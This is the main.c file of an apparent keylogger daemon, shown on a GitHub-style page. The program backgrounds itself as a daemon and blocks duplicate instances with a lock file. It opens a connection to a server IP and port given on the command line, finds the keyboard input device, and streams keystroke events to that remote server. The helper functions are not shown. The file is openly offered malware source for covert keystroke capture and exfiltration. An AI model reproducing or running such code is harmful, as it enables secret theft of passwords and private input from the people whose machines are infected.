-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.c
32 lines (24 loc) · 874 Bytes
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include "daemon.h"
#include "keylogger.h"
int main(int argc, char *argv[])
{
int keyboard;
int server;
int flock;
if (argc != 3) /* Usage: ./keylogger-daemon ip port */
exit(EXIT_FAILURE);
if (!daemonize()) /* Convert process to daemon */
exit(EXIT_FAILURE);
if (daemonAlreadyRunning(&flock)) /* Check if another instance is already running */
exit(EXIT_FAILURE);
if (!(server = openConnectionWithServer(argv[1], atoi(argv[2])))) /* Connecting with server */
exit(EXIT_FAILURE);
if (!keyboardFound(DEVICES_PATH, &keyboard)) /* Find keyboard */
exit(EXIT_FAILURE);
startKeylogger(keyboard, server); /* Reading from keyboard device and sending events to server */
close(flock); /* Closing lock file */
exit(EXIT_SUCCESS);
}